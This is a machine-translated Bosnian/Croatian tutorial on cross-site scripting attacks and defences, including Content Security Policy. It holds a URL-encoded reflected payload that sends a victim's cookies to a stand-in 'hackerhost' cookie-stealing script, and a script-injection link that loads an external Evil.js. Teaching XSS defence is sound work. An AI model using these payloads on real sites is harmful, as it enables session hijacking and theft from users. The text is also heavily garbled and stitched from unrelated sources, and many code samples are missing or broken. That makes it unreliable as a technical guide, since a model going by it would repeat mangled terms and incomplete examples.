Korištenje XSS ranjivosti do maksimuma. XSS napadi: šta su oni i šta su opasni trening XSS napada

Kroz XSS, iskusni napadači integriraju se u stranice web lokacija web lokacija koje rade na njima namijenjene skripte izvedene u vrijeme posjeta zaraženim resursima. Postoji nekoliko vrsta ranjivosti XSS-a koji predstavljaju različit stepen opasnosti.

Značajke pasivne i aktivne ranjivosti

Najviše pažljivo vrijedi liječenje aktivne ranjivosti. Kada napadač provodi svoj SQL kod u pristupačnu bazu podataka ili datoteku na poslužitelj, svaki posjetilac zaraženog resursa može biti žrtva. Takva su mjesta često integrirana, pa čak i podaci obrađeni podaci pohranjeni u bazi podataka mogu nastaviti predstavljati određenu opasnost.

Stvaranje pasivnog XSS ranjivosti zahtijeva napadača određene domišljatosti. Ili se namamiti na podmornički resurs sa svim vrstama referenci ili se na bilo koji način pokušavaju proslijediti potrebnu stranicu. To se obično događa kroz pisma iz fiktivne uprave stranice koju posjetite, uz zahtjeve za provjeru postavki računa. Također su aktivno koristili različite newslettere ili postova neželjenih posteljina na široko posjećenim forumima.

Pasivna XSS ranjivost može nastaviti sa oba posta i iz get parametara. Prvi, karakteriziran je niz različitih trikova, za drugo - kodiranje linije URL-a ili umetaju dodatne vrijednosti.

Kidapinski kolačići

Najčešće su vaši kolačići koji su cilj XSS napada. Ponekad u njima postoje vrijedne informacije, uključujući prijave korisnika i lozinke ili njihove hash. Ali dovoljno je opasno i izvršavanje krađe aktivnih sesija važnih mjesta za vas, tako da ne zaboravite da pritisnete tipku "izlaz" čak i kada posjetite web mjesta sa kućnog računara. Iako većina resursa za sprečavanje takvih radnji koriste automatsko ograničenje trajanja sesije. Ograničenja domene XMLHttPrquest iz takvih napada ne štede.

Podaci iz ispunjenih oblika

Evoids Popularnost i informacije o čitanju u ispunjenom obliku. Da biste to učinili, na uzrokujući interese, trčanje događaja (Onsubmit) i svi navedeni podaci šalju se i napadače napadača. Takvi su napadi u velikoj mjeri slični phishing-u, ali krađa nije na krivomituri, već na stvarnoj lokaciji s dobrim reputacijom.

Distribuirani DDOS napadi

Za napade kroz XSS koriste se više prenosivih resursa. Zahvaljujući ranjivosti XSS-a, prosljeđivanje zahtjeva koji dolaze na puknuti poslužitelj, kao rezultat čije se njena zaštita ne izdržava.

Lažni zahtjevi za unutrašnju svjetlost (CSRF / XSRF)

Oni takođe imaju malo zajedničkog sa XSS-om. Ovo je zasebna raznolikost ranjivosti koja se koriste u kombinaciji sa XSS-om. Njihov je cilj dovesti ovlaštenog korisnika sa neranjivog mjesta na podmorničku ranjivu stranicu za lažne operacije. Na primjer, klijent koji koristi elektronički sistem plaćanja namam se na ranjivu lokaciju koja prenosi novac na račune uljeza. Stoga, u većini platnih sustava zaštita osigurava dodatnu unesenu lozinku ili potvrđujući rad koda.

Uvođenje XSS crva

Takav napad XSS na web mjestu pojavio se sa razvojem poznatih društvenih mreža (Vkontakte, Twitter i drugi). Kroz njih cijele grupe korisnika primaju ranjive XSS veze s integriranim skriptima koje pošalju neželjene neželjene mreže iz njihovo ime. Također se široko vježbaju i prolaze kroz lične podatke i fotografije o resursima uljeza.

Primjeri nevido XSS-a

Imajte na umu da mnoge vrste brojila vrše i ulogu aktivnih XSS-a. Oni se prenose na podatke o registraciji posjetilaca (njihove IP adrese, podatke o korištenoj opremi).

Samo ovaj kôd integrira u vaše računalo na vašu volju. Drugim sličnim XSS-ima, možete sigurno pripisati brojne križaljke AJAX upita.

Scripting na poprečnom mjestu ili XSS. Scripting na poprečnom mjestu (izvođenje naizice scenarija).

Prisutnost scenarijskog ranjivosti na poprečnom mjestu omogućava napadaču da pošalje izvršni kôd na poslužitelj, koji će se preusmjeriti na korisnički preglednik. Ovaj se kôd obično kreira u HTML / JavaScript, ali VBScript, ActiveX, Java, Flash ili druga tehnologija koja podržava preglednik može se koristiti.

Prenosni kôd se izvodi u sigurnosnom kontekstu (ili sigurnosnoj zoni) ranjivog servera. Koristeći ove privilegije, kod dobija mogućnost čitanja, modificiranja ili prenošenja važnih podataka dostupnim pomoću pregledača. Na napadnutom korisniku može se ugroziti stjecanjem (krađom kolačića), njegov preglednik može se preusmjeriti na drugi poslužitelj ili je sadržaj servera zamijenjen. Kao rezultat pažljivo planiranog napada, napadač može koristiti pretraživač žrtve da bi pregledao stranice web mjesta u ime napadnog korisnika. Kôd može prenijeti napadač u URL-u, u naslovima i strukturi HTTP protokola upita (kolačić, korisnički agent, referer), vrijednosti polja obrasca itd.

Postoje tri vrste napada koji vode do izvođenja interneta scenarija: neestorni netrajni (odraženo), uporna konstanta (Sačuvano) i dom zasnovana. Glavna razlika između upornog i nestranog je da se u refleksnoj verziji, prijenos servera koda i povratak na njegov klijent vrši unutar jednog HTTP zahtjeva, a u pohranjenom - u različitim.

Provedba neputentnog napada zahtijeva da se korisnik prebaci preko veze koji je formirao napadač (veza se može prenijeti e-poštom, ICQ-om itd.). U procesu preuzimanja web mjesta, kôd ugrađen u URL ili zaglavlja upita bit će prenesena na klijenta i izrađen je u svom pretraživaču.

Sačuvanu varijaciju ranjivosti događa se kada se kod prenosi na server i na njemu traje neko vrijeme. Najpopularniji ciljevi napada u ovom slučaju su forumi, poštu sa web-sučeljem i chat sobama. Za napad, korisnik ne mora proći kroz vezu, dovoljno je posjetiti ranjivu stranicu.

    Primjer. Spremljeno (trajno) opcija napada. Mnoge web stranice imaju biltenske ploče i forume koji korisnicima omogućavaju ostavljanje poruka. Registrovani korisnik obično je identificiran po broju

sesije sačuvane u kolačićima. Ako napadač napusti poruku koja sadrži kôd u JavaScript-u, dobit će pristup identifikatoru korisničkog sesije. Primjer koda kolačića:

    Primjer. Odražava se (nestrana) opcija napada. Mnogi serveri pružaju korisnicima mogućnost traženje sadržaja poslužitelja. U pravilu se zahtjev prenosi u URL i sadrži na rezultirajućoj stranici.

Na primjer, prilikom prelaska na URL http: //portal.example/search? Q \u003d "Svježe pivo" Korisnik će biti prikazan stranica koja sadrži rezultate pretraživanja i frazu: "0 stranica pronađenih na vašem zahtjevu." Ako se JavaScript prenosi kao željena fraza, bit će izvršen u korisničkom pretraživaču. Primjer:

Http: //portal.example/search/? Q \u003d

Kodiranje urlencode može se koristiti za skrivanje kôda skripte

Http: //portal.example/index.php? Sessiond \u003d 12312312 i korisničko ime \u003d% 3c% 73% 63% 72% 69% 70% 74% 3e% 64% 6f% 65% 6e% 74 % 2e% 6c% 6f% 63% 61% 74% 69% 6f% 6e% 3d% 27% 68% 74% 74% 70% 3a% 2f% 2f% 61% 63% 6b% 65 % 72% 68% 6f% 73% 74% 2e% 65% 78% 61% 65% 78% 63% 65% 2f% 63% 67% 69% 2d% 62% 69% 6e% 2f% 63% 6f% 6f% 63% 6f% 6f% 63% 6f% 6f % 6b% 69% 65% 73% 74% 65% 61% 6c% 2e% 63% 67% 69% 3f% 27% 2b% 64% 62% 65% 6e% 74% 2E% 63 % 6f% 6f% 6b% 69% 65% 3c% 2f% 73% 63% 72% 69% 70% 74% 3e

Flangan David JavaScript.

Izvod iz knjige Flangan David JavaScript puni vodič 5 izdanje.

Izraz skripta na poprečnom mjestu (križ "skripta stranica), odnosno XSS, odnosi se na računarsku površinu ranjivosti kada napadač uvodi HTML oznake ili skripte na dokumente na ranjivu web stranicu. Uključene su u zajedničku stvar za angažovane U stvaranju scenarija poslužitelja. Međutim, programeri koji razvijaju klijentske javascript skripte također bi trebali znati za XSS napade i poduzimaju mjere za zaštitu od njih.

Web stranica se smatra ranjivom na XSS napade ako dinamički stvara sadržaj dokumenta na temelju korisničkih podataka koji nisu prošli preliminarnu obradu za uklanjanje ugrađenog HTML koda. Kao trivijalni primjer razmotrite sljedeću web stranicu koja koristi JavaScript skriptu za dobrodošlicu korisnika po imenu:

U drugom retku skripte, prozor.Lokacija.Search.Substring metoda se naziva, s kojim se dijelom adresne trake preuzima, počevši sa simbolom? Zatim, pomoću metode dokumenta.write () dodaje se dinamički generirani sadržaj dokumenata. Ovaj scenarij sugerira da će pristup web stranici izvršiti otprilike takvu adresu za URL adrese:

Http://www.example.com/greet.html?name\u003ddavid

U ovom slučaju će se prikazati tekst "bok david". Ali ono što se događa ako se stranica traži pomoću sljedeće URL adrese:

Http://www.example.com/greet.html?name\u003d%3cscript%3ealert ("David")% 3C / script% 3e.

Sa takvim sadržajem, skripta adresa URL-a dinamički generira još jedan scenarij (kodovi% 3c i% 3e su ugaoni zagradama)! U ovom slučaju, umetnuta skripta jednostavno prikazuje dijaloški okvir koji ne predstavlja opasnost. Ali zamislite takav slučaj:

Http: //sitea/Greet.html? Naziv \u003d% 3cscript src \u003d SiteB / Evil.JS% 3E% 3c / script% 3e

Skripta na poprečnom mjestu je zato što u napadu učestvuje više od jedne stranice. Web lokacija B (ili čak i C mjesto C) uključuje posebno dizajniranu vezu (slično samo prikazanoj) na web lokaciju A koja sadrži skriptu s web mjesta B. Evil.js Script nalazi se na web stranici napadača B, ali sada Ovaj scenarij se ispostavilo da se na lokaciji A može učiniti i može učiniti sve što je zadovoljan sadržajem web stranice A. On može izbrisati stranicu ili nazvati ostale prekršaje na mjestu web mjesta (na primjer, odbiju za održavanje, Kao što je opisano u sljedećem odjeljku). Može negativno utjecati na posjetioce lokacije: Mnogo opasnije što takav zlonamjerni scenarij može pročitati sadržaj kolačića pohranjenih na web mjestu A (moguće sadrže brojeve računa ili druge podatke) i pošaljite ove podatke na web lokaciju B . Ugrađeni skript može čak pratiti pritisak na tipke i slanje tih podataka na web mjesto B.

Univerzalna metoda sprečavanja XSSS-a je uklanjanje HTML oznaka iz svih podataka sumnjivog porijekla prije nego što ih koriste da bi dinamički stvorili sadržaj dokumenta. Da biste ispravili ovaj problem u prethodno prikazanoj datoteci Greet.html, morate dodati sljedeći redak na skriptu, koji je dizajniran za uklanjanje kutnih nosača koji okružuju oznaku". Svaki korisnik koji je posjetio stranicu sada će dobiti sljedeći odgovor:


Poslednji komentar:

Kada korisnički pretraživač učita stranicu, on će izvoditi sve, uključujući JavaScript kod koji se nalazi unutar oznaka . Ovo sugeriše da je jednostavno prisustvo skripte koje implementira napadač problem, bez obzira na koji se određeni kôd skripte zapravo izvede.

Drugi dio: XSS-napad

XSS napada učesnici

Prije nego što opisuje kako detaljno opisati kako XSS napad funkcionira, moramo identificirati subjekte napada XSS-a. Općenito, u XSS napad postoje tri sudionika: web stranica, žrtva, I. provalnik.

  • Web stranica Daje HTML stranice za korisnike koji su ih zatražili. U našim primjerima nalazi se na adresi http: // Web stranica /.
    • Baza podataka web stranice To je baza podataka koja pohranjuje neke podatke koje su korisnici unose na stranicama stranica.
  • Žrtva - Ovo je redovni korisnik web stranice koja traži stranice sa svojim pretraživačem.
  • Napadajući - Ovo je napadač koji namjerava započeti napad za žrtvu korištenjem XSS ranjivosti na mjestu.
    • Burglar server - Ovo je web server pod kontrolom napadača sa jedinom svrhom - krađe povjerljivih podataka žrtve. U našim primjerima nalazi se na http: // napadač /.

Primjer napada scenarija

Ova skripta će stvoriti HTTP zahtjev za drugi URL, koji će preusmjeriti korisnički pretraživač na napadača poslužitelja. URL uključuje žrtve kolačiće kao parametar upita kada HTTP zahtjev dolazi na napadača poslužitelja, napadač može izvući ove kolačiće sa zahtjeva. Nakon što je napadač primio kolačiće, on ih može koristiti za davati žrtvu i započeti naknadni napad.

Iz ove točke na HTML kodu prikazano je gore prikazano zlonamjeran niz ili zlonamjerna skripta. Važno je razumjeti da je sam niz zlonamjeran samo ako se na kraju obrađuje kao HTML kôd u pretraživaču žrtve, a to se može pojaviti samo ako je na web mjestu dostupna samo ako je XSS ranjivost dostupna na web mjestu.

Kako ovaj primer radi

Shema ispod prikazuje primjer napada napadača:

  1. Napadač koristi jedan od oblika web stranice kako bi umetnuo zlonamjerni niz u bazu podataka web stranice.
  2. Žrtva postavlja stranicu sa web stranice.
  3. Stranica uključuje zlonamjerni niz iz baze podataka kao odgovor i šalje ga žrtvi.
  4. Preglednik žrtve obavlja zlonamjerni scenarij u okviru odgovora, slanja žrtava na napadački poslužitelj.

Vrste XSS.

Svrha napada XSS-a uvijek je u izvođenju zlonamjernog javascript skripte u pretraživaču žrtve. Postoji nekoliko fundamentalno različitih načina za postizanje ovog cilja. Napadi XSS-a često su podijeljeni u tri vrste:

  • Spremljeno (trajno) XSSTamo gdje zlonamjerni niz potječe iz bazne web stranice.
  • Odraženi (ne trajni) XSSTamo gdje se stvara zlonamjerni niz iz zahtjeva žrtve.
  • XSS dom modeliAko se ranjivost pojavljuje u kodu na strani klijenta, a ne na strani poslužitelja.

U prethodnom primjeru prikazan je pohranjeni XSS napad. Sada opisujemo dvije druge vrste XSS-napada: odražavali modele XSS i XSS-ATTACT dom.

Odražava XSS.

U slučaju odraženog XSS napada, zlonamjerni niz dio je zahtjeva žrtve na web stranicu. Web lokacija prima i ubacuje ovaj zlonamjerni niz korisniku koji je upućen korisniku. Shema ispod ilustrira ovu skriptu:

  1. Žrtva lažno šalje zahtjev za URL web stranice.
  2. Stranica uključuje zlonamjerni niz iz URL-a u upitu kao odgovor na žrtvu.
  3. Preglednik žrtve obavlja zlonamjerni scenarij koji se nalazi u odgovoru, slanjem žrtava na server uljeza.

Kako uspješno obaviti odraženi XSS napad?

Reflektirani XSS napad može se činiti bezopasnim, jer zahtijeva žrtvu iz svog imena da pošalje zahtjev koji sadrži zlonamjerni niz. Budući da se niko neće dobrovoljno napasti, čini se da ne postoji način stvarnog izvršenja napada.

Kako se ispostavilo, postoji najmanje dva uobičajena načina da žrtvu da pokrene odraženi XSS napad protiv sebe:

  • Ako je korisnik specifična ličnost, napadač može poslati zlonamjerni URL žrtvi (na primjer, koristeći e-poštu ili messenger) i prevariti da bi ga prisilio da otvori vezu za posjetu web mjestu.
  • Ako je cilj velika grupa korisnika, napadač može objaviti vezu na zlonamjerni URL (na primjer, na svojoj web stranici ili na društvenoj mreži) i pričekati posjetitelje koji će ići na vezu.

Obje ove metode su slične, a oboje mogu biti uspješniji koristeći usluge "skratiti" URL, prikrivaju zlonamjerni niz korisnika koji bi ga mogli identificirati.

XSS u modelu dom

XSS u dom modelu je opcija kao pohranjena i odražavala XSS napad. U ovom XSS napadu, zlonamjerni niz ne obrađuje pretraživač žrtve, sve dok se ne izvrši pravi JavaScript web stranice. Shema ispod ilustrira ovaj scenarij za odražene XSS napade:

  1. Napadač stvara URL koji sadrži zlonamjerni niz i šalje ga žrtvi.
  2. Žrtva je lažna od strane napadača šalje zahtjev za URL na web mjestu.
  3. Web lokacija prima zahtjev, ali ne uključuje zlonamjerni niz u odgovoru.
  4. Preglednik žrtava obavlja legitimnu skriptu sadržanu u odgovoru, kao rezultat čije će se na stranici umetnuti štetni scenarij.
  5. Preglednik žrtve vrši zlonamjerni skript umetnut u stranicu, slanjem kolačića žrtve na server uljeza.
Koja je razlika između XSS-a u modelu Doma?

U prethodnim primjerima pohranjenih i odraženih napada XSS-a, poslužitelj ubacuje zlonamjerni scenarij na stranicu, koja se tada šalje kao odgovor na žrtvu. Kada je pretraživač žrtve primio odgovor, pretpostavlja da je zlonamjerni skript dio legitimnog sadržaja stranice i automatski ga vrši tijekom učitavanja stranice, kao i bilo koji drugi scenarij.

U primjeru XSS napada u modelu Doma, zlonamjerna skripta nije umetnuta kao dio stranice; Jedina skripta koja se automatski izvrši tokom opterećenja stranice je legitimni dio stranice. Problem je što ovaj legitimni scenarij izravno koristi unos korisnika kako bi se dodao HTML na stranicu. Budući da se zlonamjerni niz ubacuje u stranicu pomoću InnerHTML-a, analizira se kao HTML, kao rezultat čije će se izvršiti štetna skripta.

Ova razlika je mala, ali vrlo je važna:

  • U tradicionalnim XSS-u, zlonamjerni JavaScript se izvodi kada se stranica učita, kao dio HTML poslatog poslužiteljem.
  • U slučaju XSS u modelu Doma, zlonamjerni JavaScript se izvodi nakon učitavanja stranice, kao rezultat, ova stranica sa legitimnim JavaScript naziva se nesigurnim putem u unosu korisnika (koji sadrži zlonamjerni niz).
Kako XSS radi u modelu dom?

U prethodnom primjeru nema potrebe za JavaScript-om; Poslužitelj može sama generirati sama HTML. Ako kod na strani poslužitelja ne sadrži ranjivosti, web stranica ne bi bila podložna ranjivosti XSS-a.

Međutim, budući da web aplikacije postaju naprednije, sve veća količina HTML stranica generira se pomoću JavaScript na strani klijenta, a ne na poslužitelju. U bilo kojem trenutku sadržaj se mora promijeniti bez ažuriranja cijele stranice, moguće je pomoću JavaScript-a. Posebno je to slučaj kada se stranica ažurira nakon upita AJAX.

To znači da XSS ranjivosti mogu biti prisutne ne samo u dijelu poslužitelja koda vaše web stranice, već i sa strane JavaScript koda klijenta vaše web stranice. Slijedom toga, čak i sa potpuno sigurnim kodom na strani poslužitelja, klijentski kod i dalje može biti sigurno omogućen da unesete korisničke podatke prilikom ažuriranja Doma nakon preuzimanja stranice. Ako se to dogodi, kôd od klijenta omogućit će XSS napad nije greška koda sa strane poslužitelja.

XSS zasnovan na modelu Doma može biti nevidljiv za server

Postoji poseban slučaj XSS napada u dom modelu u kojem se zlonamjerni niz nikada ne šalje na poslužitelju web lokacije: To se događa kada je zlonamjerni niz sadržan u fragmentu identifikatora URL-a (nešto nakon simbola #). Preglednici ne šalju ovaj dio URL-a na server, tako da web stranica nema pristup tome pomoću koda na strani poslužitelja. Kodeks klijenta, međutim, ima pristup tome, a samim tim je moguće sprovesti XSS napad nesigurnom obradom.

Ovaj slučaj nije ograničen na identifikator fragmenta. Postoji i drugi korisnički unos koji je nevidljiv za poslužitelj, na primjer, nove HTML5 funkcije, poput Localstorage i IndexedDB.

Treći dio:
XSS prevencija

Metode prevencije XSS-a

Podsjetimo da je XSS napad vrste raspoređivanja koda: korisnik koji je unio korisnik pogrešno se interpretira kao zlonamjerni program. Da bi se spriječilo ova vrsta ubrizgavanja koda, potrebna je sigurna ulazna obrada. Za web programeru postoje dva u osnovi različiti načini za obavljanje sigurne ulazne obrade:

  • Kodiranje - Ovo je način na koji vam omogućuje da unesete podatke od strane korisnika samo kao podatke i ne dopušta pregledniku za obradu kao kod.
  • Validacija - Ova metoda filtrira korisnički unos tako da ga pretraživač to tumači kao kod bez zlonamjernih naredbi.

Iako su to u osnovi različite metode sprečavanja XSS-a, imaju nekoliko općih osobina koje su važne za razumijevanje kada koristite bilo koji od njih:

Kontekst Sigurna ulazna obrada mora se razlikovati ovisno o tome gdje se na stranici koristi korisnički ulaz. Dolazna / odlazna sigurna ulazna obrada može se izvesti ili kada vaša web lokacija prima ulazne podatke (dolaznog prometa) ili neposredno prije nego što web mjesto ubaci prilagođeni unos u sadržaj stranice (odlazni). Obrada ulaza klijenta / servera može se izvesti ili na strani klijenta ili na strani poslužitelja, svaka opcija je neophodna u različitim okolnostima.

Prije objašnjenja u detaljima kako djeluju kodiranje i validacija, opisamo svaku od ovih predmeta.

Obrada korisnika unosa u kontekstima

Na web stranici postoji mnogo konteksta na kojoj se može primijeniti prilagođeni ulaz. Za svaku od njih moraju biti ispunjena posebna pravila tako da korisnički unos ne može "izbiti" iz svog konteksta i ne može se tumačiti kao zlonamjerni kod. Ispod su najčešći kontekst:

Kakvo je značenje konteksta?

U svim opisanim kontekstima može se pojaviti ranjivost koja dovodi do XSS-a ako je korisnik koji je unio korisnik umetnut na prvo kodiranje ili validaciju. Napadač može uvesti zlonamjerni kod koji jednostavno umetnu separator zatvaranja za ovaj kontekst i nakon što je zlonamjerni kod.

Na primjer, ako na nekom trenutku, web mjesto uključuje unos podataka od strane korisnika izravno u HTML atribut, napadač će moći implementirati zlonamjerni skript pokretanjem ulaznog navođenja kao što je prikazano u nastavku:

To bi se moglo spriječiti, jednostavno uklanjanje svih navodnika u korisničkom unosu, a sve bi bilo u redu, ali samo u ovom kontekstu. Ako je unos umetnut u drugi kontekst, separator zatvaranja će se razlikovati i ubrizgavanje će postati moguće. Iz tog razloga, sigurna ulazna obrada uvijek treba prilagoditi kontekstu gdje će se umetnuti korisnički unos.

Obrada dolaznog / odlaznog unosa korisnika

Instinktivno, može se činiti da se XSS može spriječiti kodiranjem ili potvrđivanjem cijelog unosa korisnika čim je naša web lokacija primi. Stoga će sve zlonamjerne linije već biti neutralizirano kad god su uključeni u stranicu, a skripte HTML-a ne moraju voditi računa o sigurnom obradu unosa korisnika.

Problem je u tome što je prethodno opisao korisnik koji je unio korisnik može umetnuti u nekoliko konteksta na stranici. I nema jednostavnog načina da se utvrdi kada unos korisnika dolazi u kontekstu - kao što će se na kraju umetnuti, a isti korisnički unos mora se često umetnuti u različite kontekste. Oslanjajući se na obradu dolaznog ulaza kako bi se spriječio XSS, stvaramo vrlo krhko rješenje koje će biti podložno greškama. (Zastareli "magični citati" PHP su primjer takvog rješenja.)

Umjesto toga, obrada odlaznog unosa mora biti vaša glavna zaštitna linija iz XSS-a, jer može uzeti u obzir određeni kontekst, koji korisnik unesen korisnik će biti umetnut. Do neke mjere, dolazne validacije može se koristiti za dodavanje sekundarnog zaštitnog sloja, ali o tome kasnije.

Gdje je moguće izvesti sigurnu obradu unosa korisnika

U većini modernijih web aplikacija, unos korisnika se obrađuje i na strani poslužitelja i na strani klijenta. Da bi se zaštitilo od svih vrsta XSS-a, sigurna ulazna obrada mora se izvršiti i u kodu na strani poslužitelja i na strani klijenta.

  • Da bi se zaštitilo od tradicionalnih XSS-a, sigurna ulazna obrada mora se izvesti u kodu na strani poslužitelja. To se radi sa jezikom koji podržava poslužitelj.
  • Da bi se zaštitilo od XSS napada u modelu Doma, gdje server nikada ne prima zlonamjernu nizu (na primjer, prethodno opisani napad putem fragmenta identifikatora), sigurna ulazna obrada mora se izvoditi u kodu na strani klijenta. To se radi sa JavaScript-om.

Kad smo objasnili zašto je kontekst važan, zašto je razlika između dolazne i odlazne ulazne obrade, i zašto se sigurna ulazna obrada mora biti napravljena na obje strane, a na strani klijenta i na strani poslužitelja možemo nastaviti objašnjavati Kako se zapravo obavljaju dvije vrste sigurnog ulaznog obrade (kodiranje i validacija).

Kodiranje

Kodiranje je izlaz iz situacije kada je potrebno da pretraživač korisnika interpretira samo kao podatke, a ne kod. Najpopularnija vrsta kodiranja u web razvoju je maskiranje HTML koji pretvara znakove kao što su < i > u < i > Respektivno.

Sljedeći pseudokod je primjer kako korisnik koji je unio korisnik (Custom Enter) može se kodirati pomoću HTML maskiranja, a zatim umetnuti na stranicu pomoću scenarija poslužitelja:

ispis " "
Ispisati "Poslednji komentar:"
Print EncodeHTML (userInput)
Ispis ""

Ako korisnik uđe u sljedeću liniju Rezultat HTML će izgledati ovako:


Poslednji komentar:

Budući da su svi simboli s posebnim vrijednostima prerušeni, pretraživač neće rastaviti bilo koji dio korisničkog unosa kao HTML.

Kodiranje kodiranja na strani klijenta i serveru

Prilikom kodiranja kodiranja kodiranja klijenta uvijek se koristi javaScript jezik koji ima ugrađene funkcije koje kodiraju podatke za različite kontekste.

Prilikom izvođenja kodiranja u vašem kodu na strani poslužitelja, oslanjate se na funkcije dostupne na vašem jeziku ili okviru. Zbog velikog broja jezika i dostupnih okvira, ovaj vodič neće pokriti detalje kodiranja u bilo kojem određenom poslužitelju ili okviru. Ipak, javascript funkcije kodiranja korištene na strani klijenta koriste se i prilikom pisanja koda na strani poslužitelja.

Kodiranje na strani klijenta

Prilikom kodiranja prilagođenog ulaza klijenta pomoću JavaScript-a, postoji nekoliko ugrađenih metoda i svojstava koja automatski kodiraju sve podatke u kontekstualnim ovisnim stilom:

Posljednji kontekst već spomenut (vrijednosti u JavaScript) nisu uključene na ovaj popis, jer JavaScript ne daje ugrađenu metodu kodiranja podataka, što će biti omogućeno u javascript izvornom kodu.

Ograničenja kodiranja

Čak i kada kodira, moguće je koristiti zlonamjerne linije u nekim kontekstima. Svijetli primjer toga je kada se korisnički unos koristi za pružanje URL-a, na primjer, u primjeru u nastavku:

dokument.QueryEdector ("A"). HREF \u003d UserInput

Iako navedena vrijednost u objektu HREF elemenata ga automatski kodi tako da ne postane više od vrijednosti atributa, ovo po sebi ne miješa se u napadač umetnut u URL-u počevši od "JavaScript:". Kada kliknete na vezu, bez obzira na izgradnju, izgrađeni JavaScript unutar URL-a bit će izvršen.

Kodiranje takođe nije efikasno rešenje kada želite da korisnici koriste deo HTML kodova na stranici. Primjer je korisnik profila profila, gdje korisnik može koristiti korisnika HTML. Ako je ovaj uobičajeni HTML kodiran, stranica profila moći će se sastojati samo od jednostavnog teksta.

U takvim situacijama kodiranje treba upotpuniti validacijom s kojom ćemo se više upoznati.

Validacija

Validacija je čin filtriranja korisničkog unosa tako da se svi zlonamjerni dijelovi uklone bez potrebe za uklanjanjem cijelog koda u njemu. Jedna od najčešće korištenih vrsta verifikacije u web razvoju omogućava vam da koristite neke HTML elemente (na primjer, i ) Ali nabori druge (na primjer,

Uz pravilno specifičnu politiku CSP-a, pretraživač ne može preuzeti i izvršiti zlonamjernu skriptu.JS jer HTTP: // napadač / nije naveden kao pouzdan izvor. Iako je stranica nije uspjela sigurno obraditi unos korisnika u ovom slučaju, CSP politika spriječila je ranjivost i uzrokovala bilo kakvu štetu.

Čak i ako je napadač ubrizgao kodom unutar scenarije, a ne referenca na vanjsku datoteku, pravilno konfigurirano CSP politika također će onemogućiti ubrizgavanje u JavaScript kôd koji sprečava ranjivost i uzrokuju bilo kakvu štetu.

Kako omogućiti CSP?

Preglednici prema zadanim postavkama ne koriste CSP. Da biste omogućili SCP na vašoj web stranici, stranice moraju sadržavati dodatni HTTP zaglavlje: Sadržaj-sigurnosna politika. Bilo koja stranica koja sadrži ovaj naslov primjenjivat će sigurnosne politike tijekom pokretanja pregledača, pod uvjetom da pretraživač podržava CSP.

Budući da se sigurnosna politika šalje sa svakim HTTP odgovor, moguće je pojedinačno instalirati politiku na poslužitelju za svaku stranicu. Ista politika može se primijeniti na cijelu web stranicu, umetnujući isti CSP zaglavlja u svakom odgovoru.

Sadržaj u zaglavlju sa sadržajem-sigurnosnog politike sadrži niz koji definira jednu ili više sigurnosnih politika koje će raditi na vašoj web lokaciji. Sintaksa ovog niza bit će opisana u nastavku.

Primjeri zaglavlja Ovaj odjeljak koriste prijenos redaka i uvlaka za jednostavnost percepcije; Ne bi trebali biti prisutni u sadašnjem zaglavlju.

CSP sintaksa

Sintaksa zaglavlja CSP izgleda ovako:

Sadržaj-Sigurnost-politika:
direktiva izvor-izraz, izvor-izraz, ...;
direktiva ...;
...

Ova sintaksa sastoji se od dva elementa:

  • Direktive (direktive) Predstavljanje linija koje ukazuju na vrstu resursa preuzete sa navedene liste.
  • Izvorni izrazi To je model koji opisuje jedan ili više poslužitelja odakle se mogu preuzeti resursi.

Za svaku direktivu, podaci u izvornom izrazu određuju koji izvori mogu se koristiti za učitavanje resursa odgovarajuće vrste.

Direktiva

Sljedeće se direktive mogu koristiti u CSP zaglavlju:

  • connect-SRC.
  • fONT-SRC.
  • frame-SRC.
  • iMG-SRC.
  • media-SRC.
  • cILM-SRC.
  • skripta-src.
  • style-SRC.

Pored ovoga, posebna zadana direktiva-SRC može se koristiti za osiguravanje zadane vrijednosti za sve direktive koje nisu bile uključene u naslov.

Izraz izvora

Sintaksa za stvaranje izraza izvora je sljedeći:

protokol: // Ime domaćina: Port Broj

Ime domaćina može početi sa *, to znači da će se dostavljen bilo kakav poddomena naziva hosta. Slično tome, broj porta može biti predstavljen kao *, to znači da će se svi portovi riješiti. Pored toga, može se propustiti protokol i portni broj. Ako Protokol nije naveden, politika će zahtijevati da se svi resursi učitavaju pomoću HTTPS-a.

Pored gornje sintakse, izvorni izraz može biti jedna od četiri ključne riječi s posebnom vrijednošću (uključene citate) kao alternativa:

"Nijedan" zabranjuje resurse. "Self" omogućava resurse domaćina na kojem se nalazi web stranica. "Nesigurna inline" omogućava resurse sadržane na stranici kao ugrađenim